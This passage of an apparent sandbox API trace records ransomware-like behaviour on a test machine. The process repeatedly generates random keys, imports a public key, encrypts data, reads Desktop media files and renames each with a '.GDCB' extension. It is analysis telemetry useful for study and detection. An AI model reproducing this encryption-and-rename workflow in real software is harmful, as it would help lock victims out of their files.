phProv=0x285f324*=0x2ecfd0) returned 1 [0137.302] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0137.302] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0137.302] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x20, pbBuffer=0x285f440 | out: pbBuffer=0x285f440) returned 1 [0137.302] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0137.302] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecfd0) returned 1 [0137.304] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x32a770) returned 1 [0137.304] CryptGetKeyParam (in: hKey=0x32a770, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0137.304] CryptEncrypt (in: hKey=0x32a770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f48c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f48c*=0x100) returned 1 [0137.304] GetLastError () returned 0x0 [0137.304] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0137.304] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecc18) returned 1 [0137.306] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x32a830) returned 1 [0137.306] CryptGetKeyParam (in: hKey=0x32a830, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0137.306] CryptEncrypt (in: hKey=0x32a830, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f490*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f490*=0x100) returned 1 [0137.306] GetLastError () returned 0x0 [0137.306] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0137.306] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\tm_ddke9n40UxlNf.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\tm_ddke9n40uxlnf.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0137.307] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0137.307] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0137.307] ReadFile (in: hFile=0x4e8, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f4d0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f4d0*=0x3039, lpOverlapped=0x0) returned 1 [0137.315] VirtualAlloc (lpAddress=0x0, dwSize=0x3040, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0137.319] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\tm_ddke9n40UxlNf.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\tm_ddke9n40uxlnf.m4a"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\tm_ddke9n40UxlNf.m4a.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\tm_ddke9n40uxlnf.m4a.gdcb")) returned 1 [0137.320] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0137.321] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0137.321] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0137.321] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f474 | out: pbBuffer=0x285f474) returned 1 [0137.321] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0137.321] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ed300) returned 1 [0137.321] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0137.322] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0137.322] CryptGenRandom (in: hProv=0x2ed300, dwLen=0x20, pbBuffer=0x285f440 | out: pbBuffer=0x285f440) returned 1 [0137.322] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0137.322] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecc18) returned 1 [0137.323] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x32a7b0) returned 1 [0137.324] CryptGetKeyParam (in: hKey=0x32a7b0, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0137.324] CryptEncrypt (in: hKey=0x32a7b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f48c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f48c*=0x100) returned 1 [0137.324] GetLastError () returned 0x0 [0137.324] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0137.324] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecc18) returned 1 [0137.326] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x32a9b0) returned 1 [0137.326] CryptGetKeyParam (in: hKey=0x32a9b0, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0137.326] CryptEncrypt (in: hKey=0x32a9b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f490*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f490*=0x100) returned 1 [0137.326] GetLastError () returned 0x0 [0137.326] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0137.326] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\uiVP.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\uivp.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0137.326] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0137.326] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0137.327] ReadFile (in: hFile=0x4e8, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f4d0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f4d0*=0xcfe4, lpOverlapped=0x0) returned 1 [0137.336] VirtualAlloc (lpAddress=0x0, dwSize=0xcff0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0137.340] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\uiVP.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\uivp.flv"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\uiVP.flv.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\uivp.flv.gdcb")) returned 1 [0137.341] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0137.342] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0137.342] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0137.342] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f474 | out: pbBuffer=0x285f474) returned 1 [0137.342] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0137.342] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecfd0) returned 1 [0137.342] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0137.342] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0137.342] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x20, pbBuffer=0x285f440 | out: pbBuffer=0x285f440) returned 1 [0137.342] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0137.342] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecfd0) returned 1 [0137.344] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x32a470) returned 1 [0137.345] CryptGetKeyParam (in: hKey=0x32a470, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0137.345] CryptEncrypt (in: hKey=0x32a470, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f48c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f48c*=0x100) returned 1 [0137.345] GetLastError () returned 0x0 [0137.345] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0137.345] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecc18) returned 1 [0137.347] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x32a2f0) returned 1 [0137.347] CryptGetKeyParam (in: hKey=0x32a2f0, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0137.347] CryptEncrypt (in: hKey=0x32a2f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f490*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f490*=0x100) returned 1 [0137.347] GetLastError () returned 0x0 [0137.347] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0137.347] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\vXxmRwzZCj_sg.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\vxxmrwzzcj_sg.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0137.347] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0137.347] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0137.347] ReadFile (in: hFile=0x4e8, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f4d0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f4d0*=0x73d4, lpOverlapped=0x0) returned 1 [0137.356] VirtualAlloc (lpAddress=0x0, dwSize=0x73e0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0137.361] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\vXxmRwzZCj_sg.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\vxxmrwzzcj_sg.avi"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\vXxmRwzZCj_sg.avi.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\vxxmrwzzcj_sg.avi.gdcb")) returned 1 [0137.362] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0137.362] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0137.362] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0137.362] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f474 | out: pbBuffer=0x285f474) returned 1 [0137.362] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0137.363] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0137.363] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0137.363] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0137.363] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f440 | out: pbBuffer=0x285f440) returned 1 [0137.363] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0137.363] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecc18) returned 1 [0137.365] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x32aab0) returned 1 [0137.365] CryptGetKeyParam (in: hKey=0x32aab0, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0137.365] CryptEncrypt (in: hKey=0x32aab0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f48c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f48c*=0x100) returned 1 [0137.365] GetLastError () returned 0x0 [0137.365] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0137.365] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecc18) returned 1 [0137.367] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x32a630) returned 1 [0137.367] CryptGetKeyParam (in: hKey=0x32a630, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0137.367] CryptEncrypt (in: hKey=0x32a630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f490*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f490*=0x100) returned 1 [0137.367] GetLastError () returned 0x0 [0137.367] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0137.367] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\VzXLa-7b6.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\vzxla-7b6.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0137.368] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0137.368] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0137.368] ReadFile (in: hFile=0x4e8, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f4d0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f4d0*=0xe904, lpOverlapped=0x0) returned 1 [0137.378] VirtualAlloc (lpAddress=0x0, dwSize=0xe910, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0137.382] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\VzXLa-7b6.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\vzxla-7b6.mp4"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\VzXLa-7b6.mp4.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\vzxla-7b6.mp4.gdcb")) returned 1 [0137.384] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecfd0) returned 1 [0137.384] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0137.384] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0137.384] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x10, pbBuffer=0x285f474 | out: pbBuffer=0x285f474) returned 1 [0137.384] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0137.384] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0137.385] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0137.385] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0137.385] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f440 | out: pbBuffer=0x285f440) returned 1 [0137.385] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0137.385] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ed168) returned 1 [0137.387] CryptImportKey (in: hProv=0x2ed168, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x32a8f0) returned 1 [0137.387] CryptGetKeyParam (in: hKey=0x32a8f0, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0137.387] CryptEncrypt (in: hKey=0x32a8f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f48c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f48c*=0x100) returned 1 [0137.387] GetLastError () returned 0x0 [0137.387] CryptReleaseContext (hProv=0x2ed168, dwFlags=0x0) returned 1 [0137.387] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ed0e0) returned 1 [0137.389] CryptImportKey (in: hProv=0x2ed0e0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x32a8b0) returned 1 [0137.389] CryptGetKeyParam (in: hKey=0x32a8b0, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0137.389] CryptEncrypt (in: hKey=0x32a8b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f490*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f490*=0x100) returned 1 [0137.389] GetLastError () returned 0x0 [0137.389] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0137.389] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WQpPr2duNweKE.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wqppr2dunweke.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0137.389] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0137.390] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0137.390] ReadFile (in: hFile=0x4e8, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f4d0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f4d0*=0x106fe, lpOverlapped=0x0) returned 1 [0137.398] VirtualAlloc (lpAddress=0x0, dwSize=0x10700, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0137.404] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WQpPr2duNweKE.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wqppr2dunweke.bmp"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WQpPr2duNweKE.bmp.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wqppr2dunweke.bmp.gdcb")) returned 1 [0137.405] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0137.405] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0137.405] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0137.405] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f474 | out: pbBuffer=0x285f474) returned 1 [0137.405] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0137.406] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0137.406] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0137.406] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0137.406] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f440 | out: pbBuffer=0x285f440) returned 1 [0137.406] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0137.406] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecfd0) returned 1 [0137.408] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x32a430) returned 1 [0137.408] CryptGetKeyParam (in: hKey=0x32a430, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0137.408] CryptEncrypt (in: hKey=0x32a430, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f48c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f48c*=0x100) returned 1 [0137.409] GetLastError () returned 0x0 [0137.409] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0137.409] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ed300) returned 1 [0137.410] CryptImportKey (in: hProv=0x2ed300, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x32a370) returned 1 [0137.411] CryptGetKeyParam (in: hKey=0x32a370, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0137.411] CryptEncrypt (in: hKey=0x32a370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f490*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f490*=0x100) returned 1 [0137.411] GetLastError () returned 0x0 [0137.411] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0137.411] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\xi sEofN8ylvSn f1.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\xi seofn8ylvsn f1.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0137.411] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0137.411] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0137.411] ReadFile (in: hFile=0x4e8, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f4d0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f4d0*=0x77af, lpOverlapped=0x0) returned 1 [0137.420] VirtualAlloc (lpAddress=0x0, dwSize=0x77b0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0137.424] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\xi sEofN8ylvSn f1.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\xi seofn8ylvsn f1.gif"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\xi sEofN8ylvSn f1.gif.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\xi seofn8ylvsn f1.gif.gdcb")) returned 1 [0137.426] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0137.426] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0137.426] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0137.426] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f474 | out: pbBuffer=0x285f474) returned 1 [0137.426] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0137.426] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0137.427] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0137.427] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0137.427] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f440 | out: pbBuffer=0x285f440) returned 1 [0137.427] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0137.427] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic 